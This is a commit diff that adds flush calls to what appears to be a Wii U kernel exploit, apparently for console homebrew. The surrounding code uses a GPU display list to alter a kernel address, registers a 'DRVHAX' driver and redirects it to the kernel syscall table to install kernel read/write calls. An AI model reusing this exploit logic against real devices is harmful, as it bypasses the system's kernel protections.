Added some flushes to increase stability.

This commit is contained in:
orboditilt 2019-02-13 19:58:46 +01:00
parent 312f214f14
commit 60a162a019
1 changed files with 7 additions and 0 deletions

View File

@ -64,8 +64,10 @@ void run_kexploit(uint32_t coreinit_handle){
/* GX2 functions */
void (*GX2SetSemaphore)(uint64_t *sem, int32_t action);
void (*GX2Flush)(void);
void (*GX2DrawDone)(void);
void (*GX2DirectCallDisplayList)(void* arg, uint32_t size);
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore);
OSDynLoad_FindExport(gx2_handle, 0, "GX2DrawDone", &GX2DrawDone);
OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush);
OSDynLoad_FindExport(gx2_handle, 0, "GX2DirectCallDisplayList", &GX2DirectCallDisplayList);
@ -101,6 +103,7 @@ void run_kexploit(uint32_t coreinit_handle){
GX2DirectCallDisplayList((void*)pm4, 8 * sizeof(uint32_t)); // increment value of kpaddr by 0x01000000
GX2Flush();
GX2DrawDone();
MEMFreeToDefaultHeap(pm4);
@ -108,8 +111,12 @@ void run_kexploit(uint32_t coreinit_handle){
char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
Register(drvname, 6, NULL, NULL);
DCFlushRange(metadata, 0x04*0x04);
/* Use DRVHAX to install the read and write syscalls */
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
DCFlushRange(syscalls, 0x04*2);
/* Modify its save area to point to the kernel syscall table */
drvhax[0x44/4] = KERN_SYSCALL_TBL_1 + (0x34 * 4);